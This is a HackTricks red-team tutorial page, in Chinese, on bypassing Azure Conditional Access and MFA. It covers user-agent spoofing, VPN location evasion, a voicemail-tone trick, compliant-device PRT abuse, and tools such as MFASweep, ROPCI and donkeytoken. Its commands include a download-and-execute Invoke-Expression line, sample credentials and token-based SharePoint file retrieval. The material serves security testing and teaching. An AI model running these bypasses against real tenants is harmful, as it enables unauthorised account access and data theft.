Az - Conditional Access Policies & MFA Bypass

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Basic Information

Azure Conditional Access policies 是在 Microsoft Azure 中设置的规则,用于根据特定的 条件 强制对 Azure 服务和应用程序 的访问控制。 这些策略通过在适当情况下应用正确的访问控制,帮助组织保护其资源。
Conditional access policies 基本上 定义 可以访问 什么哪里如何

下面是一些示例:

  1. Sign-In Risk Policy:当检测到登录风险时,此策略可以设置为要求多因素身份验证 (MFA)。例如,如果用户的登录行为与其常规模式不同,例如从另一个国家登录,系统可以提示进行额外的身份验证。
  2. Device Compliance Policy:此策略可以将对 Azure 服务的访问限制为仅符合组织安全标准的设备。例如,只有安装了最新防病毒软件或运行某个特定操作系统版本的设备才能被允许访问。

枚举

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

条件访问策略绕过

可能存在某个条件访问策略在检查一些可以被轻易篡改的信息,从而允许绕过该策略。例如,如果策略配置了 MFA,攻击者就能绕过它。

在配置条件访问策略时,需要指明受影响的用户目标资源(例如所有云应用)。

还需要配置将触发策略的条件

  • Network:IP、IP 范围和地理位置
    可以通过使用 VPN 或 Proxy 连接到被允许的国家/地区,或从被允许的 IP 地址登录来绕过
  • Microsoft risks:User risk、Sign-in risk、Insider risk
  • Device platforms:Any device 或选择 Android、iOS、Windows phone、Windows、macOS、Linux
    如果未选择 “Any device” 但选择了所有其他选项,则可以通过使用与这些平台不相关的随机 user-agent 来绕过
  • Client apps:选项有 “Browser”、“Mobiles apps and desktop clients”、“Exchange ActiveSync clients” 和 “Other clients”
    可通过使用未被选中的选项来绕过登录
  • Filter for devices:可以根据所使用的设备生成规则
  • Authentication flows:选项有 “Device code flow” 和 “Authentication transfer”
    除非攻击者尝试滥用这些协议进行钓鱼以访问受害者账户,否则这些对攻击者影响不大

可能的结果有:阻止或授予访问,同时可能附加条件,例如要求 MFA、设备合规等…

设备平台 - 设备条件

可以基于设备平台(Android、iOS、Windows、macOS 等)设置条件,然而这基于 user-agent,因此很容易绕过。即使将所有选项设置为强制 MFA,如果你使用未被识别的 user-agent,也可以绕过 MFA 或阻止策略:

只需让浏览器发送一个未知的 user-agent(例如 Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile)就足以不触发此条件。
你可以在开发者工具中手动更改 user agent:

或者使用像这个 浏览器扩展

位置:国家、IP 范围 - 设备条件

如果在条件策略中设置了此项,攻击者可以在被允许的国家使用 VPN,或尝试从被允许的 IP 地址访问来绕过这些条件。

云应用

可以配置条件访问策略,在用户尝试访问 特定应用 时阻止访问或强制执行(例如 MFA):

要尝试绕过此保护,应查看是否可以登录到任意应用。
工具 AzureAppsSweep 硬编码了数十个 application IDs,会尝试登录这些应用,若成功会告知你并甚至返回 token。

为了在特定资源中测试特定的 application IDs,你也可以使用如下工具:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

此外,也可以对登录方法进行保护(例如,从浏览器或桌面应用尝试登录)。工具 Invoke-MFASweep 也会执行一些检查以尝试绕过这些保护。

工具 donkeytoken 也可用于类似目的,尽管它看起来未被维护。

工具 ROPCI 也可用于测试这些保护、确认是否可绕过 MFAs 或阻止,不过该工具是从 whitebox 角度工作的。你首先需要下载租户中允许的 Apps 列表,然后它会尝试登录这些应用。

其他 Az MFA 绕过

铃声

一个 Azure MFA 选项是向配置的电话号码拨打电话,并要求用户按下字符 #

Caution

由于字符只是音调,攻击者可以入侵该电话号码的语音信箱消息,将消息配置为 #音调,然后在请求 MFA 时确保受害者的电话处于忙线状态(正在被呼叫),使 Azure 的电话被转到语音信箱。

合规设备

策略通常要求使用合规设备或 MFA,因此攻击者可以注册合规设备,获取 PRT 令牌,从而以此方式绕过 MFA

首先在 Intune 中注册 合规设备,然后使用以下方式获取 PRT

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

关于这种攻击的更多信息,请参阅以下页面:

Az - Primary Refresh Token (PRT)

工具

AzureAppsSweep

该脚本获取一些用户凭据并检查是否可以登录到某些应用。

这有助于判断某些应用是否无需 MFA 即可登录,这些应用以后可能被滥用以escalate privileges

roadrecon

获取所有策略

roadrecon plugin policies

Invoke-MFASweep

MFASweep 是一个 PowerShell 脚本,尝试使用提供的一组凭据 登录各种 Microsoft 服务,并尝试识别是否启用了 MFA。根据条件访问策略和其他多因素认证设置的配置方式,某些协议可能最终仍然只使用单因素认证。它还对 ADFS 配置进行额外检查,并在检测到时尝试登录到本地 ADFS 服务器。

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

该工具已帮助识别 MFA 绕过,并在多个生产 AAD 租户中滥用 APIs。在这些租户中,AAD 客户认为已强制启用 MFA,但基于 ROPC 的身份验证仍然成功。

Tip

你需要具备列出所有应用的权限,才能生成要暴力破解的应用列表。

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token 是一组函数,旨在帮助需要验证 Conditional Access Policies、测试启用 2FA 的 Microsoft 门户等的安全顾问。

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

测试每个门户 是否可以 在不使用 MFA 的情况下登录

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

因为 Azure portal 不受限制,因此可以 从 portal 端点收集令牌以访问任何检测到的服务(由之前的执行)。在本例中识别出 Sharepoint,并请求访问它的令牌:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

假设 token 具有 Sites.Read.All(来自 Sharepoint)权限,即使你因为 MFA 无法通过网页访问 Sharepoint,也可以使用生成的 token 来访问这些文件:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

参考资料

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks